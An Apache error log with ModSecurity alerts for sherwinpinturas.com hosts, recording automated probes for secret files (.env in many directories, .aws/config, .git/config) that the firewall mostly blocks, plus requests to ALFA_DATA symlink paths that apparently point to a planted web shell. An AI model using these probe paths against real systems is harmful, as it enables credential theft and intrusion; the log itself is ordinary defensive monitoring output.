[Mon Oct 26 10:03:28.438057 2026] [security2:error] [pid 3041714:tid 3041714] [client 34.118.177.189:39430] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at9dsAt8dJFpdHay4jzKmgAAAAA"]
[Mon Oct 26 10:03:28.439058 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hgAAACU"]
[Mon Oct 26 10:03:28.439187 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hgAAACU"]
[Mon Oct 26 10:03:28.439432 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hgAAACU"]
[Mon Oct 26 10:03:28.458964 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /frontend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiwAAAAk"]
[Mon Oct 26 10:03:28.459127 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiwAAAAk"]
[Mon Oct 26 10:03:28.459371 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/frontend/.env"] [unique_id "at9dsCDi6FEnz4zo40NhiwAAAAk"]
[Mon Oct 26 10:03:28.471370 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9dsE9qPMNS87qzj5gkSAAAABE"]
[Mon Oct 26 10:03:28.471535 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9dsE9qPMNS87qzj5gkSAAAABE"]
[Mon Oct 26 10:03:28.471744 2026] [security2:error] [pid 3044225:tid 3044225] [client 34.118.177.189:39372] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at9dsE9qPMNS87qzj5gkSAAAABE"]
[Mon Oct 26 10:03:28.481618 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /dist/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at9dsMfzpoBm8xCXttklVwAAABA"]
[Mon Oct 26 10:03:28.481760 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at9dsMfzpoBm8xCXttklVwAAABA"]
[Mon Oct 26 10:03:28.482063 2026] [security2:error] [pid 3044224:tid 3044224] [client 34.118.177.189:39356] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/dist/.env"] [unique_id "at9dsMfzpoBm8xCXttklVwAAABA"]
[Mon Oct 26 10:03:28.491498 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9dsDnmQI02MoAHI7oCGAAAABU"]
[Mon Oct 26 10:03:28.491641 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9dsDnmQI02MoAHI7oCGAAAABU"]
[Mon Oct 26 10:03:28.491896 2026] [security2:error] [pid 3044230:tid 3044230] [client 34.118.177.189:39516] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at9dsDnmQI02MoAHI7oCGAAAABU"]
[Mon Oct 26 10:03:28.492529 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /build/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UgAAABQ"]
[Mon Oct 26 10:03:28.492681 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UgAAABQ"]
[Mon Oct 26 10:03:28.492696 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.next/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at9dsIkBAlsUe0HxPuSmMgAAAA4"]
[Mon Oct 26 10:03:28.492848 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at9dsIkBAlsUe0HxPuSmMgAAAA4"]
[Mon Oct 26 10:03:28.492915 2026] [security2:error] [pid 3044229:tid 3044229] [client 34.118.177.189:39500] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/build/.env"] [unique_id "at9dsHzx9K7YR_L8u2S6UgAAABQ"]
[Mon Oct 26 10:03:28.493059 2026] [security2:error] [pid 3042122:tid 3042122] [client 34.118.177.189:39422] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.next/.env"] [unique_id "at9dsIkBAlsUe0HxPuSmMgAAAA4"]
[Mon Oct 26 10:03:28.493816 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /core/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b3wAAAAc"]
[Mon Oct 26 10:03:28.493960 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b3wAAAAc"]
[Mon Oct 26 10:03:28.494176 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/core/.env"] [unique_id "at9dsLnmpHTSsAiKbb2b3wAAAAc"]
[Mon Oct 26 10:03:28.497372 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.aws/config"] [unique_id "at9dsLGXTlA520hhAgG8EAAAAA8"]
[Mon Oct 26 10:03:28.497396 2026] [security2:error] [pid 3044215:tid 3044215] [client 34.118.177.189:39470] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hoteles3.sherwinpinturas.com"] [uri "/.aws/config"] [unique_id "at9dsLGXTlA520hhAgG8EAAAAA8"]
[Mon Oct 26 10:03:28.498538 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /docker/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hwAAACU"]
[Mon Oct 26 10:03:28.498673 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hwAAACU"]
[Mon Oct 26 10:03:28.498886 2026] [security2:error] [pid 3034827:tid 3034827] [client 34.118.177.189:39320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/docker/.env"] [unique_id "at9dsNdWtrCZuT8sbNQ5hwAAACU"]
[Mon Oct 26 10:03:28.503918 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9dsCDi6FEnz4zo40NhjAAAAAk"]
[Mon Oct 26 10:03:28.504088 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9dsCDi6FEnz4zo40NhjAAAAAk"]
[Mon Oct 26 10:03:28.504399 2026] [security2:error] [pid 3040031:tid 3040031] [client 34.118.177.189:39478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9dsCDi6FEnz4zo40NhjAAAAAk"]
[Mon Oct 26 10:03:28.556116 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9dsLnmpHTSsAiKbb2b4AAAAAc"]
[Mon Oct 26 10:03:28.556306 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9dsLnmpHTSsAiKbb2b4AAAAAc"]
[Mon Oct 26 10:03:28.556663 2026] [security2:error] [pid 3043900:tid 3043900] [client 34.118.177.189:39420] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9dsLnmpHTSsAiKbb2b4AAAAAc"]
[Mon Oct 26 10:03:36.120561 2026] [core:error] [pid 3044304:tid 3044304] (13)Permission denied: [client 185.191.171.14:39018] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmem_cache_node/partial
[Mon Oct 26 10:03:37.384195 2026] [ssl:error] [pid 3044303:tid 3044303] (70014)End of file found: [client 85.208.96.198:25676] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:03:58.796354 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 3.223.181.32:20976] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:04:06.641046 2026] [security2:error] [pid 3042122:tid 3042122] [client 3.216.13.10:53828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/physical_node/link/"] [unique_id "at9d1okBAlsUe0HxPuSmNQAAAA4"]
[Mon Oct 26 10:04:06.641105 2026] [security2:error] [pid 3042122:tid 3042122] [client 3.216.13.10:53828] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/wakeup/wakeup4/subsystem/wakeup7/subsystem/wakeup0/device/physical_node/link/"] [unique_id "at9d1okBAlsUe0HxPuSmNQAAAA4"]
[Mon Oct 26 10:04:10.670729 2026] [ssl:error] [pid 3044225:tid 3044225] (70014)End of file found: [client 34.234.200.207:28186] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:04:21.055930 2026] [security2:error] [pid 3042122:tid 3042122] [client 170.106.11.6:58304] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/node_modules/bare-os/"] [unique_id "at9d5YkBAlsUe0HxPuSmNgAAAA4"]
[Mon Oct 26 10:04:22.906742 2026] [ssl:error] [pid 3044230:tid 3044230] (70014)End of file found: [client 44.212.131.50:60651] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:04:30.593068 2026] [ssl:error] [pid 3039833:tid 3039833] (70014)End of file found: [client 34.196.114.170:30866] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:04:46.589375 2026] [ssl:error] [pid 3040031:tid 3040031] (70014)End of file found: [client 18.207.89.138:4234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 10:05:11.388293 2026] [proxy_fcgi:error] [pid 3044225:tid 3044225] [client 128.90.128.8:46884] AH01071: Got error 'Primary script unknown', referer: http://hoteles2.sherwinpinturas.com/wp-login.php
